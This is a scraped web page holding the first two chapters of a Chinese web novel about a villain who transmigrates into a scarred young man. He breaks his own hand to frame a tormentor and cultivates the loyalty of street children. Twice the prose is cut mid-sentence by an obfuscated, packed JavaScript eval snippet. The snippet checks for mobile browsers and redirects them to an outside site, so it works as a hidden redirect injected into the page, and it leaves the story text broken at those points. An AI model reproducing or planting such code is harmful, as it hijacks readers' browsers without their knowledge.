《完美反派[快穿]》 1. 打破的声音是pop！-01 珐琅花瓶砸裂在地，碎屑飞溅，漆层色彩落了满眼。 择明面朝下鼻尖深深凹进泥土中，同时感到有人踩住他后脑，脚尖恶意旋转，碾了碾。 “呸！” 脚和浓痰的主人适时表达自己的愤怒。 “我昨天就警告过你，你还敢进来跟你爷爷我抢饭碗，我不仅请你吃这新鲜热腾腾的肥料，你这手……也别想要了！” 铁铲伴簌簌声敲在择明右手手腕，不算很疼，却也引起下意识的防御抽搐。听得出来，这男人对他的‘手’，意见远大于他本人。 平静匍匐于地，择明完美扮演昏厥者。 人如死鱼一动不动，对方从他衣兜里掏出什么东西。 再补几脚似乎不够解气，那人解开裤拉链，一泡热尿淋了他满身，这才拖着铁铲，骂骂咧咧离去。 “恶心玩意，迟早弄死你，长着怪物的脸还好意思提大小姐……” 听着金属门吱呀两声，择明终于翻过身。 日光渗进玻璃拱顶，照亮这座散发着迷人幽香，植株遍地的花房。花香甚至一度盖过尿骚味。 择明阖眼，用力过猛式的呼吸挤压胸腔，他像地狱中饥饿百年的鬼，对这真实的温度，对这浓郁的芬芳，贪婪而痴迷。 【提示，装载已成功】 【系统Z正式启用对接者：0001择明】 【请对接者确认确认方式：思维拟沟通】 声音机械但字句清晰，来源于脑中。择明迅速接受现状，并想到某种可能。 ‘0001确认对接系统Z’ 觉得脑内交流莫名滑稽，他轻笑改做开口。 “那么烦请系统Z，详细解释所有来龙去脉。我明明在我的‘豪华单人床’上睡得正香，为什么会来到这……” 一时无言，他望着光坐起身体。 抬手小心一握，手中空落落，唯有零星微光的暖意残留指尖。 “这个，牢笼之外的地方。” 他用了最为笼统，也最恰当的形容。 【对接成功，请指定试用期间系统Z称呼】 那声音又出现了。 “让我想想，唔——这以后还能修改吗？” 【回答，可以，修改称呼并无次数时间限制】 “那现在开始，你就先叫我主人好了。” 不知是运作中反应迟缓，还是择明语气太过欢快俏皮，系统Z默然几秒。 【系统Z：主人】 择明心满意足，再次提出最重要的要求——解释。 他堂堂世界之塔最高刑期重犯，如今是名为莱特·莱恩的马夫之子，一名在家霍家庄园中游荡的自由幽灵。时代与背景也非他所熟知的现实，是仅在幻想小说中出现过的‘古时期’。 人们使用最低级的电能源与电器，而且还仅限少数富裕或中产家庭。 按常理，他这马夫儿子与‘富贵’，‘自由’扯不上边。 转折在于他的马夫父亲。 十多年前，霍家遭遇变故，马夫救主有功，暗中护送家主霍昭龙，逃亡途中更是精心照料。 找来的食物和水献给对方，自己啃着树皮喝着泥水，时值寒冬奉上衣物，自己留着单薄麻衣。 当动荡平复，霍家扭转灭门局面，马夫也已是垂死之际。他的遗愿是霍家能替他照顾好唯一的儿子，莱特·莱恩。 霍昭龙实乃重情重义之人，不顾妻子和家中长者反对，誓要将小莱特视如己出，与自己三个孩子同等对待。 虽然受种种因素干扰没走法定流程，但十几年间一直维持着养父子关系。 也不知这一报恩到底成是败，总而言之，莱特·莱恩与霍家理不清剪不断的纠葛，自此开始。 莱特身份特殊，又因幼年一场意外火灾烧毁面容，自此戴着面具生活，在庄园内受尽冷眼非议，更无法再与人正常交流。心间萌生阴暗恶种，逐渐发芽壮大。先是妒恨，后是觊觎。 养父霍昭龙在乎他，但常年奔波在外，难保家业事业两全。他不在家，内务全权交由当初对‘收养’反对声最强的霍夫人。 可想而知，莱特过得其实与其余仆人无异，只是有更多地方能去，能和主人同桌吃饭而已。 这霍家表面经营酒业娱乐业，私下进行不为人知的武|器买卖。近水楼台先得月，在家又是半个特殊‘透明人’，莱特想办法搞到霍家机密，预备一手向治安方通风报信，一手将信息转卖霍家竞争者。 然而计划从确定到实施，他犹豫了整整两年。 一切只因他爱慕着霍昭龙的大女儿，霍骊。 大小姐霍骊天姿绝色，见过她的人，无一不被她的容颜征服，但她天生身患有不治之症，据说不能见光，因此一直被霍家严密保护，从未见她出过宅子，出房门都屈指可数。 唯有深夜来临，她才会以另一种方式，宣告着她的存在——在东楼天台琴房奏曲。 乐声抚慰着莱特敏感破碎的心，亦使他挖掘自身闪耀的光彩。 莱特拥有超凡卓越的音乐天赋。即便从未接触任何乐器，不曾系统学习乐理知识，可音律是他独有的语言，不论哪种乐器拿到他手上，他皆能摸索门道，迅速掌握诀窍，无师自通。 其中他最偏爱钢琴。 两天前，他压抑不住冲动和渴求，摸进酒宴大厅，成功与遥遥相隔的大小姐二人联弹。隔天早晨他房门口便放着束一大捧浦菊，附赠张邀请函。署名，霍骊。 对方在信函上写着，希望宴会时能再与他共奏一曲。 庄园是封闭的小型复杂社会，猜测犹如病菌传播，尤其在仆人之间，最终成长为耸人听闻的谣言。现在最广泛的版本，是他想方设法塞纸条给大小姐，不知天高地厚表白，后被霍骊回信婉拒。 在霍家庄园，不是没有先例。 冷嘲热讽的声浪比以往更来势汹汹，也令视霍骊为女神的园丁总管之子，戴维·菲尔丁怒火中烧。 今天戴维没打断他的手，可在霍骊二十岁生日晚宴上，却借机扒开他的面具。 这是压垮莱特的最后一根稻草，最不堪的阴影被暴露在倾慕之人面前，还是众目睽睽之下。 “所以，莱特最终还是会报复整个霍家，导致霍昭龙丧命，家族生意重创。但会被下一任家主揪出，当作叛徒施以火刑吗？”择明饶有趣味追问，“多大火？加的是柴是油还是干烧，或者跟我们一样，是‘光死刑’？” 他好奇宝宝三连追问，系统未直接回答。反提醒道。 【系统Z：主人，您现在有三项方案优先可选。一是阻止悲剧发生，转变莱特·莱恩扭曲倾向，追寻幸福光明的未来。二是可继续按原轨行事，承受应有的结局。三是想办法脱离纠葛，停止继续参与‘主角’的轨迹】 “主角？”择明佯装惊讶，“你说了那么多，我还以为我才是主角。分明莱特才最贴合啊。” 【系统Z：主人，您的定位是反派。因等级权限，您暂时无法查询当下故事线‘主角’或其他人经历。】 择明：“那这么说你会升级喽？要怎么升？之后会有新功能吗？” 系统陷入死机般的安静，择明手作拳状抵在唇边，哧哧笑了。 “行，这些我们日后再谈。现在我只有一个问题，我能否不按你所建议的‘优先’行事。” 【系统Z：回答可以。】 得到答案，择明起身，朝维修中的庭院深处走。 经过可爱的小天使喷泉，他没借机擦拭身上肥料，也未清洗粘黏发丝的浓痰。 他对着水面，打量自己。 褐色发丝微卷，因长期没打理蓬松得夸张，远处看就像颗爆开的松果。壳状金属薄薄一层，几乎占据他四分之三脸。 他转身双手捧起花盆里的湿土，用力往表层摁压，狠狠搓动，任腥味砂砾滑入衣领，衬衣再度蒙灰。 【系统Z：主人，您的选择是？】 抽出短木棍，卷起脏衣袖，择明将木工留着的工具拆卸重装，锯齿由坚硬木板替换，前端改系钢铁重物，支架撑住。 这是一个简易的杠杆道具。 更像一架微缩断头台。 将细木棍咬于齿间前，择明轻吐回应。 “我选择，成为完美的反派。” 抬脚的动作十分干脆漂亮，足尖踹飞支架，重物遵从引力向下。 断头台的铡刀坠落。 ——咔擦 骨头错位，指节断裂，脆响好似垂死之鸟迸发绝唱。闷哼呜咽穿过繁茂枝叶，持续数秒便湮灭。 吐掉咬出深深牙印的木棍，择明镇定如常，单手清理所有工具。 回到最初倒下的位点，他跪地往前爬行数米，距门口仅剩一步时完全放松，重重栽倒。鹅卵石碰撞假面，殷红鼻血汹涌如潮。 对疼痛的不耐性使他果真昏厥，时而清醒时而断片。 但仍感觉到有人发现了受伤的他，将他抬到更明亮宽敞的区域。 “……夫人……” 择明睁了眼。 身材曼妙，面容娇好的女人身着骑马装，金色波浪卷的头发顺脸颊两侧搭着，一边多一边少，是当下最时髦的发型。 这是庄园主楼的前庭，她正与身旁女仆说话，冷不防与他对视，微微一愣。 “马库斯，他醒了。”她定神道。 光线由亮转暗，一张苍老发黄的脸出现在择明眼前。 “莱特，莱特？可怜的孩子，你还好吗，你这手是哪个该死的魔鬼干的。” 马库斯·伍德，家中资历最深的老花农，深得前任老家主赏识，地位不比执事管家低，还曾与莱特父亲共事，也是庄园中为数不多真心关照莱特的人。 酸胀感让择明干裂的嘴张合，发不出完整音节。 即便如此，他也固执挺起身，试图看向毫无知觉的右手。 人类身体是奇妙又精妙的构件，尚未见到红肿的手腕，以诡异角度外翻的手指前，大脑迟钝而麻木。一旦与眼前所见连接，钻心疼痛如通电洗刷全身。 “啊、啊啊！——” 他难以置信地颤抖，爆发一阵叫喊，将霍夫人惊退数步。 马库斯费力将他圈牢，以免他再伤到惨重的手。 这手仿佛失去骨骼支撑，又像案板上苟延残喘的鱼，瘫软着根本动不了。 看着烂肉般的手臂，马库斯更是痛心。他顾不得安抚失控青年，愠怒声讨。 “夫人！我跟鲍尔曼进花房时都看到了，这绝不可能是莱特摔伤、不小心被砸伤，他的身上、您看看清楚，这是脚印、踹伤，还有这、这是铲头敲出的印子，我干这行三十五年，我怎么会认不出来？！” “这是在霍先生地盘上，霍先生能允许有这种不可理喻、不可理喻的事发生？！今天他们害的是莱特，明天说不准猖狂得敢以下犯上！” 马库斯语无伦次，多次蹦出家乡口癖，但听众们皆心知肚明。 毕竟除戴维外，他们其实多少都目击过某些仆从对莱特恶语相向，拳打脚踢。 以往霍夫人睁一只眼闭一只眼，只因莱特素来默默承受不吭声，若私下通过执事总管向她告状，她也从来不管。仆人间的排挤矛盾，犯不着她出面，不然简直掉价。 可今日情况不同。 莱特不仅伤得如此之重，还处处留着他人所为痕迹，更被马库斯等众多目击者发现。 再不出面，她在仆从中失去威信，难保他们能忠诚如初。且有马库斯在，万一事情闹大传入她丈夫耳中，将来她怕是要无计可施。 霍夫人皱眉，招手示意白发老执事，“韦叔，先带他下去处理伤口，别耽误治疗时间。你们，马上把所有早间当班的召集过来，一一盘问。” 说着有意与马库斯相视，见老头神色有些许平静，她暗暗松了口气。 韦执事来到马库斯身旁蹲下，作势要帮他架起瘫软的莱特。 青年人鼻血止不住，已凝固的暗红遍布整片脖颈下颚，惊心怵目。担心污血凝结会堵塞气孔使人窒息，韦执事伸手欲解开面具旁的扣锁。 当手腕被青年扼住，难以言喻的力道和震颤一并传达，执事突然明白何溺亡之人为何会抓住救命稻草。 “别动。” 莱特艰难吐字，面具后的双眼通红，望进以‘完全理性’著称的执事眸中。 “别动它。” 命令，哀求，恐惧，强装下的镇定。复杂的口吻一如执事五味杂陈的内心，他终究没摘去那副脏污不堪的面具。 两位老人一左一右将莱特架起，他却以脚蹬地，阻止前进。 “莱特？孩子你怎么了。” 马库斯焦急询问。但他发现年轻人偏过头，如勾视线瞄准一道身影。 前庭花园西侧，戴维叼着烟卷，拎着数瓶相连的酒。发觉众多人聚在二阶平台，他放缓脚步，犹豫着是否要绕考。 韦执事出声，让他没有再思考的必要。 “戴维，你园区的修剪工作没完成，跑到这来做什么。” 这下戴维不得不上前解释。 “韦先生，我不是早班的，我父亲昨夜腿痛喊疼，天亮都没睡着，我这不是赶着早上给他买点酒，他一喝酒就不疼了，母猪都没他睡得安稳。” “喝了酒就睡成猪的，我看是你。” 马库斯出离愤怒，若没撑着莱特，他早冲去恶狠狠拽过戴维衣领。 “你说你不是早班，那为什么有人跟我说，早上看到你从花房出来了！” 戴维不以为意，张口流利解释，“我路过那啊，听到声音还以为是有野猫溜进去，就想着检查，结果好像不是。但花瓶确实被打碎了一个，我正烦恼要不要报告呢，毕竟那是老爷最喜欢的那套里的一个。” 霍夫人眉头皱得更深。 “被打碎了？那你当时有看到谁在。” 仿佛就等着她问，戴维故作愁眉苦脸，纠结来纠结去，最后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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一直以来，众人都知晓这位特殊的‘莱特少爷’的存在。 他像幽灵飘忽不定，不用做工，却总爱打理花圃草地，没人管束他，更没人尊敬他。他像影子时隐时现，不会表达，无论是好意恶意，都被他外漆剥落的黑色面具吸纳。 如今，幽灵被人类逮住，影子暴露在光下，他会说什么，做什么？ 马库斯身躯半边颤抖。 然而发抖的并不是他，是被他搀扶着，笑声渐响的年轻人。 玻璃破碎般的笑声，他闻所未闻。老友逝世以来，他更不曾听这孩子笑过。 “戴维·菲尔丁，你可以成为制服我，惩罚我打碎霍先生花瓶罪过的英雄。”莱特抬起不成原样的右手，掌心朝上，是乞求的姿态，“但你若不想戴上盗窃者的臭名，违背天父的训戒，就把东西……把给我的信还我。” “什么、什么信。”戴维明显慌乱起来。 在花房他是肯定对方失去意识了才动手的，为什么要问他。 “霍小姐，给我的邀请信。” 沙哑难听的声音，道出吸引所有人的惊天之语。 霍家只有一位小姐。 四下鸦雀无声，戴维表情逐渐扭曲，说不清他是被冤枉后震惊愤恨，还是被说穿事实恼羞成怒。 “霍骊小姐的信？说清楚，这到底是怎么一回事。”夫人从台阶上走下来，眉宇间的厉色证明着她正式看重这场闹剧。 马库斯和执事不敢贸然发言，因为他们同在场所有人一样，对信件一无所知。 莱特的呼吸声仿佛也带上震颤，但他却垂下祈求的右手，不愿再看人一眼。 “不……没什么了。夫人。如您所见，现在的我也没资格，不，应该是从来都没资格，能得到与霍小姐齐肩的机会。” 这位霍夫人并非霍骊生母，细数来，算是霍昭龙明媒正娶的第四任妻子，霍家刚成年的小少爷才是她所生。然而在家中，她比谁都看重霍骊，悉心关照甚至远胜亲子。 当下，她不再敷衍，冷声喝令。 “搜他的身。” 一声令下，四五人立即将戴维摁到，也很快从他外套内兜里掏出被揉皱的浅紫信件。 霍夫人将纸摊开飞快读完，心中已有数。 “夫、夫人？”戴维脸贴地强装笑容，仍抱有一丝侥幸。 “戴维，你父亲最近确实老了身体不太好。不如你带他回家，好好照顾他。更何况，你之后也不太合适做照顾花草的精细活了。”女人优雅笑着，转眼冷下脸，“把他带到马场，他对别人做了什么，照样让他体验一次。” “不、不夫人！我真的没把他手打成这样！” “我只是轻轻敲了一下，都没出血、他在说谎、他在骗你们啊！” “别带我去、求你别……” 哀求和辩解随着被拖走的戴维远去，霍夫人递出信纸，韦执事立马接过。 信重新回到莱特手中，当然，是那只完好的左手。 霍夫人看着他，仍未表现出更多关切。但她又在走前向韦执事发话。 “去叫伊凡过来，看看他的手还能不能恢复，能的话要多久。” 伊凡是专属霍家人的医师，医术精湛，识多才广，在当地远近闻名。 “是。” 执事应声和众人静候，待她走近厅堂正门才着手继续做自己分内的事。只是这回他罕见地破格，招来侍童。 “你去第一庄园传消息，让他们通知伊凡先生。” 任务转交别人，他则和马库斯合力，小心翼翼搀扶着一具‘尸体’。身心的劳累，让莱特彻底失去力气。到最后他们不得不用担架抬他离开。 受疼痛心碎折磨的青年，至始至终都攥紧那张信函，五指却又不敢用力，唯恐再添意味冒犯的褶皱。 韦执事由衷感叹年轻人的‘痴傻’，一边听马库斯念叨。 “这孩子就这该死的脾气改不过来。谁欺负他，他都不放心上。” “我怎么说他都听不进去。” “我敢发誓，那花瓶也不可能是他砸的……” 担架上，择明脸偏向一侧，双眼留着道缝。 在过道转弯时，他可将那栋只属于霍家五口的别墅收进眼底。 三处敞开程度不同的窗户，应对三个迥然相异的人。方才的吵闹对峙中，他没错过楼上的变化。 二楼露台玻璃门大敞，衣着亮丽的年轻男子左拥右抱，俯瞰他们像看猴戏，指指点点，说说笑笑。 四楼最角落，起初窗户敞开一半，只有偶然间才可瞥见谁身影。当闹剧临近尾声，‘犯人’戴维哀嚎不断时，厚重的窗帘彻底将窗遮掩。 七楼顶层，分明是离太阳最近的位置，中间那处钟塔阁楼却幽暗如同黑洞，在地面仰望别说指出有没有人在，里面物体的轮廓都看不见。 【Z，你说，主角会是他们三个里的哪一个呢？】 脑中问着，他却不给系统Z回应的时间。 【实在是期待啊。我能在他身上，弹奏出什么乐曲呢】 2. 打破的声音是pop！-02 不到七月，天热得像烤炉。草场上清理马粪的奴仆一人一顶尖角草帽，攒动着犹如工蚁，不辞辛劳没有怨言。 择明透过窗远眺风景，呼吸‘韵味’十足的空气，动弹纱布下的手指。 距受伤过去整整十五天，期间他经历不受控的昏睡，不能洗澡碰水，用铜壶在床上方便。 择明抬手轻嗅体味，颇感意外。 “像闷坏的红酒牛排，三成熟还放多了腌料。” 身体发臭于他而言是件趣事，在他本应呆着的地方，他生活中一切全由外者打点。除去‘外出’一项。 择明：“你说，我这手还能再弹琴吗？” 声音很快出现。 【系统Z：主人，外界无法感知我但能听见你说话，建议您优先以思维方式交流】 择明：“这点我已经知道了。” 系统Z缄默，逗得他莫名发笑。 “我只是觉得，用那样的方式未免太粗俗无礼。就好像你只能呆在我脑海里，默认是属于我的一部分，禁锢于此。可你跟我，实际上是彼此独立的，对么。” 长久默然之后。 【系统Z：您真是一位奇怪的人】 “多谢你告知。我会记住的。” 择明微笑温良，难辨是记仇亦或是虚心接受评价。而若他继续追问，系统Z必会细数他的怪处。 身处无法按常理解释的境遇，既不探究原因，也不过问它接下去要做什么，怎么做，会怎样。唯一一次，还是初来当日回应成为‘完美反派’的抉择。 门被轻敲三下，择明笑容转瞬即逝，木然望向窗外。 一位贵公子推门而入，马库斯紧随其后。 米黄大衣似斗篷包裹修长身体，提箱花纹精妙绝伦，这男人的眼窝撑起了单片眼镜，使那张瘦长脸不再寒碜，反而文质彬彬。 “伊凡先生，实在感谢您，这么有心过来复诊。我们都按您说的做，换药按摩手指什么的，果然一流。” 马库斯全然没了平日粗犷随性，微微弯腰低头，有点谄媚。不过为了‘孩子’低声下气讨好他者，是人之常情。 伊凡却不吃这套，径自拖来桌椅取出工具。 青年无声配合检查，他亦沉默按部就班到结束。 马库斯挨着门，两手紧紧绞着搓动，终于不安问道。 “伊凡先生，莱特他……” “我就坦白地说了。他的手，没可能痊愈。” 冰冷语调与泛光的镜片有着异曲同工之妙，巧妙隔绝周遭人靠近。马库斯傻怔着，良久后焦急追问。 “先生、先生您说没可能痊愈是什么意思？” 伊凡低头收拾器械，动作如被人刀架脖子，紧凑急促，一边说道。 “按夫人要求，我用的是最上乘的药。但他大部分肌腱已断，恢复抓握物体不成问题，可想做握笔写字，弹琴剪花的精细活，放弃吧。” 箱盖重重关合，男人起身，却不由自主看向床上的人。 经过一段时间疗养，这枚‘庄园幽灵’气色有所恢复，他当下的安静或许是早有预料，或许是大悲至极，失去表达能力。 但这与他伊凡·贝内特无关。 交代完日后的复健事项，伊凡为最后一次问诊圆满画上句号。 马库斯送走人折回房间时，霎时间苍老几岁。他满腹烦恼，琢磨要如何安慰那可怜孩子，推门却见对方人已下地，正单手为自己穿外套。 “马库斯，我想一个人出去走走。到外面。”莱特面具外的嘴抽动，大抵是想微笑。生怕被拒绝，他特地补充。 “晚饭之前，一定回来。” 老者无奈，点头答应。 占地百亩的霍家大庄园，其实并不是说走就走，随意进出。但作为庄园内的老油条，马库斯有的是办法送莱特出去，搭乘马车到最近城区。 马车于繁华农贸场停下，择明压低帽檐，身披灰衣，轻松融入四周。 而在喧闹却无人关注的偏僻角，他抬手解下面具，对着垃圾破镜打量。 莱特住的木屋，所有可充当镜子的物品除了玻璃都被处理干净。后又有马库斯全天照看，使他没机会一睹自己‘尊容’。 择明：“这我该如何形容呢。” 听他惊叹，系统Z适宜应答。 【系统Z：像之前告知您的，莱特·莱恩的脸仅有部分烧伤。】 左半边，如炖烂后立马冻上的羊骨架，皮肉混成泥，看不出原本容貌，独剩一只蓝眼完好。 右半边，虽没被烧伤但常年封印面具之下，而今已浮肿燥红，皮垢层层堆积，丑如老树枝干。 胡诌乱道的戴维或许有一句话没说错。那就是他这张脸，不愧于‘怪物’之称。 择明左右打量，目不转睛。最后眯眼一笑。 “我想，我喜欢我这个样子。” 将面具塞进内兜，他竟就此走上街头，并不张扬也未刻意遮掩。 【系统Z：主人，您为什么要选择在这时候脱去面具】 择明：“为什么？因为我觉得太热。” 理由出乎意料简单。 【系统Z:这不太好。‘莱特·莱恩’从不于人前褪去遮掩。】 【但莱特·莱恩不也不会像昨天，亲自毁了最重要的手，就为借机踢掉恼人的小坏蛋吗？】 四周人多，择明熟练用思维交流，以免被当做疯子抓走。可小圆帽掩不住面容，凡注意到他的，无一不被怪异‘阴阳脸’吸引，或诧异或恐惧，甚者自动绕远。 众人让道躲避，他仍闲庭信步，买了只红气球牵住，开心得嘴角上翘。 像躺床修养那几天，择明耐不住找系统Z谈天。 【我其实，并不是很理解人们对相貌的美丑区分，类别评判、相心分析、乃至过于在意的做法。你知道为什么吗？】 相处至今，系统Z知道它不理，它主人也会想方设法说给它听。于是，索性配合追问。 【系统Z：您为什么这么想】 “就像气球。” 择明扯动气球，如孩童般玩耍，故意牵动，使之上下翻飞。松手放绳，却又在飞离的最后一刻拽于手心。 他的解释，就这样不了了之。 腥臭的鱼，杏色饱满的水果，商贩脸上的泥垢。一切都是新奇小世界，择明不满足于繁华街道，瞧见小巷深弄便如泥鳅见了水潭钻，很快抵达贫富区的交界线。 犯懒的卖报童在吆喝，几处阴凉地被成年擦鞋贩霸占，瘦小童|工只有晒太阳的分。而在他们之间，散布着众多老乞丐，脊背佝偻，声音无力。 择明穿过行道，迎面与一女孩相撞。 “对、对不起先生、对不起、您别责罚我、我给您擦鞋。”女孩十一二岁，两颊遍布雀斑，许久未洗的脸发黑，朝他惶恐求饶。 择明：“不，是我失礼了，没为你避让。” 说罢往旁边一让，绅士摊手。 意料之外的行径令女孩仰头，她坚持道，“不、先生，是我太着急冲撞到您，您瞧，您的鞋都被我弄脏了，不过您放心，我的手艺快又好，马上能帮您擦得像葡萄那样又黑又亮。什么旧鞋到我手上，都能成新的呢。” 择明：“恕我冒犯，你吃过葡萄么？” 迎光打量男人黑乎乎的面庞，女孩哑然，五官因用力皱眉挤在一块。 冲出来前，她做好被责骂、无视、甚至是被揪去警|局的心理准备。谁知今日‘中大奖’，撞见个怪人。 好在彼此沉默给予足够时间观察，晃眼的女孩恢复视力，趔趄一退，心悸不已。 “打、打扰了先生，您赶时间我不耽误您了。” 拉客时多积极，她逃回树下就多狼狈，择明爱视线紧追，一直目送她与另外几名孩子汇合。 “萨沙，你怎么了？” 说话的男孩年龄稍长，放下卖剩的报纸，担忧询问。 “我、呼——可别提了，尼尔，我好不容易逮着只‘肥羊’，结果、结果这边像没皮，这边像溺水泡胀了的尸体，简直是魔鬼的化身，我觉得他是要吃掉我，幸好我跑得快……” 绘声绘色描述着，萨沙发现大家愈发安静，视线汇聚在她身后。 猛然转身，她因择明的靠近失声惊叫。 “呀啊、他怎么跟过来了！” 年龄小的孩子已被吓傻吓哭，抽噎着躲到哥哥姐姐身后。 见此情形，择明及时刹住脚步道出来意。 “你们的东西掉了。”他特地蹲下敞开手，好向戒备的孩子们展示，他没携带任何具有伤害性的物品。 有的只是一串彩色气球。 “请别再粗心大意，弄丢它们了。” 他温声提醒，将气球绑于灌木矮枝，最后摘帽以示歉意，倒退离开众人视线。 眼眸湛蓝平静如盛夏湖面，映着一年之中最澄澈的碧天，或许最苛刻挑剔的春风之神也愿在此歇脚，惊叹其抚慰人心，洗去愁绪的魔力。 萨沙不知所措，更多是愧疚。 她解开细绳抓住，不顾同伴劝阻追上，彩色气球在她身后乱颤碰撞。 “等等先生！”她站定扬起小脸，不避讳对视，“这不是我们的，请您拿走吧。” 择明再度单膝蹲地，恰当的距离与平视姿态令人舒心。 “可惜，那这么看来，落下它们的人今天不会再出现喽。” “行了先生，我都认出来了，您那只红气球也在里面呢。”萨沙撇嘴点破谎言，模样神似圆滑世故看板娘，“虽然这些能再拿出去卖掉赚钱……但这施舍给我们的，还请您另寻人选。” 择明笑意更深，站起踏出步子。 “我记得，你说过你的擦鞋手艺很好，能把我的旧鞋擦成又黑又亮，葡萄一样的新鞋。” 萨沙两眼扑闪，咧嘴欣然道。 “句句属实！” 半个晌午，择明在擦鞋童的小板凳上度过。 而与街头流浪儿的结识，也正式从这次的‘气球换擦鞋’算起。 每天到访时间不定，但他必定会待满一钟头。有时带来食物玩具交换，不昂贵也不廉价，是难以拒绝唯有接受的程度，他一双鞋反复被擦，锃亮得反光。 有时他就在路边河边赏景，当成年竞争者跟孩子们做对时，他才现身帮助解难，且往往都能成功。 因此，起初除了萨沙没有哪个孩子敢同他搭话，可慢慢地，一群人见了他便欣喜围上，热切挽住他手臂，向他撒娇示好。休息时间，不离他半步。 “莱恩先生，为什么你的脸摸起来是这样的。” 五岁的红发玛吉在他怀里，抚摸他烧毁的半脸，眼中只有好奇。 “因为我了犯错，所以被小小的惩罚。” 玛吉咝咝吸气，“您犯了什么错啊？是、是尿床吗？还是不洗脸不洗脚不洗手？” 择明摇头不回答，故作神秘引人好奇。最后不敌对方摇晃他手。 “你真的很想知道？” “嗯！还有布莱恩，尤金，卡丽，大家其实都很——想知道。” 见孩子们齐刷刷点头。他趁机摊开左手掌心，要求道。 “那玛吉要把我前天教你的名字，再写一遍给我。不许出错哦。下一个也一样，写对了我才偷偷告诉他。这是奖励。” 玛吉顿时愁眉苦脸，周围哀声连篇。 为大家缝补旧衣的尼尔却在这时高举右手。 “我！莱恩先生，我会写我的名字了。” 在择明示意下，尼尔走上前，屏息小脸憋通红，指尖拼写出歪歪扭扭的词。收手时他仰头，却无法从男人毁坏的面容读取情绪，更难从眼神变化判断他是否成功。 尼尔一瞬跌落冰窖，中了魔女美杜莎的石化诅咒。 “做得好，尼尔。” 魔咒因择明的夸赞霎时解除。 “我希望你能记住，这是你第一个会写的单词，你的名字。” 反刍着择明的话，男孩小心翼翼同他对视。 “那我……能学其他的吗？” “如果你愿意，我可以在我力所能及的范围里教你。作为额外奖励。你学东西学得很快，一定能成就一番事业。” 男孩十岁，已是懂事且心智步入成熟的阶段。当下扒拉头发别过脸，为掩饰某种闪动的泪光，维护‘长兄’的坚强榜样。 年龄最小的孩子还未意识到发生了什么，继续叽喳吵闹，羡慕尼尔能听到脸边丑的‘秘密’。 但他们并不知道，此次临别时，尼尔与萨沙找上择明，郑重感谢并请求。 请求收留他们，可并非提供吃穿住行，而是教他们识字读书，学尽一切所能学的知识。为此，他们什么都能替他做。就算要收费，他们也会想方设法赚来。 与两位小大人商谈，择明给出对等的认真态度，决定再三考量后答复。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15592328|171886||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 回程马车上，沉寂已久的系统发话。 【系统Z：主人，您现在所做的，可一点不符合‘反派’】 择明佯装诧异：“你怎么又这么说我？我就让你这么失望了吗。” 【系统Z：我并不是谴责您的意思】 它继续不了解释。 想象系统眉头不展，择明失笑摇头。 “我理解你的困惑，可首先我想我最好对你说清楚，我所选的‘反派’意思。” “并非按原有设定执拗于狭隘又单一的方向。我想做的，是与世界定义的‘主角’对立。我没说过我一定是来当大恶人的哦。” 【系统Z：那您一定很喜欢孩子】 不然怎么解释花费十多天就为跑到庄园外，与毫不相干的流浪孩童培养感情。 择明没有直接回答。 从口袋取出干瘪的红气球后，他娓娓而谈。 “他们聪明，独立，远离长辈管束又处处被成年者打击伤害，造就敏感也敏锐的神经。但又懂得彼此团结，互相照顾，有着比温饱者更为深刻的同理心。” “更重要的是，他们渴求往上爬，一直到自己憧憬的，曾遥不可及的高度。有两件事，是他们最独特且强大的。” 知道系统无时无刻不在倾听，他小作停留，吊足胃口才轻声道来。 “自尊得偿后交付的信任，信任后至死不渝的忠贞。” 而这些，他已唾手可得。 仅仅十二天。 【系统Z：所以，您最初的目的就是这个吗。包括只在这里摘下面具】 红色气球被择明重新吹满气。他又像刚买到它那天一样，雀跃把玩。 “我说过了，就像这气球。” “最初大家是一样的材料，一样的椭圆，吹满气，分不清谁是谁。染色买回来很难再改，但它还能再增添花纹，拧成其他形状，甚至充气漏气变大变小。” “孩子们喜欢的品种肯定会变，逐渐划分起高低贵贱，分门别类评判。但或许，更多人最难忘怀，梦回时分经常想起的，永远只是一个。最为特殊的第一个。” 他或许不是第一个向那群孩子投以善意的人。 却是第一个‘最具特殊意义的’。 原因在于他引人侧目的脸，与贫穷卑贱一样，被排挤在‘漂亮气球’之外。相似的苦难往往是最好的敲门砖，轻易卸下心防。 【系统Z：若您是打算拉拢人心，汇集人脉与‘主角’抗衡。您是否已找错方向了。】 择明挑眉不语，将面具重新覆盖脸庞。 【我在你看来就这么利益至上，薄情寡义，让你失望么】 【系统Z：我不是在谴责您】 相同对话再现，系统陷入更长久的沉默。 放在人身上，这大抵能形容成发现自己被戏耍后的懊恼怅然。 择明眨了眨眼，松手放开红气球任其飞扬飘荡，如宽慰般道。 “我一向喜欢小孩子。在我眼中，他们其实才是人类最为完整的形态，拥有无穷的潜质。嗯，所以，你之前说得没错。我喜欢他们。” 【系统Z：您可以不用以这种方式安慰我，主人】 车轱辘轰响，盖不住择明开怀大笑的动静。 当他抵达庄园，艳丽晚霞已至，然而这天似乎与之前稍显不同。 马库斯在木屋前打转，远远瞧见他，飞奔而来。 “莱特，快换上衣服。跟我去见夫人。”马库斯将一团东西塞进他手里，半推着他前往别墅。 深蓝外套料子是好，大小却不合适。 马库斯叮嘱里夹杂的絮叨证实了择明的猜想。 “时间这么紧张，我向我侄子借一件像样点的衣服，回头你真的要多买几件。你衣柜里头都是些什么乱七八糟的，蛇皮，死虫子，壁虎干尸、这、哎！” 来不及谴责教育，马库斯送青年到台阶止步。再往上是仆人禁入的领域。 韦执事已恭候多时，接替带路工作，领择明一前一后踏入主宅大门。 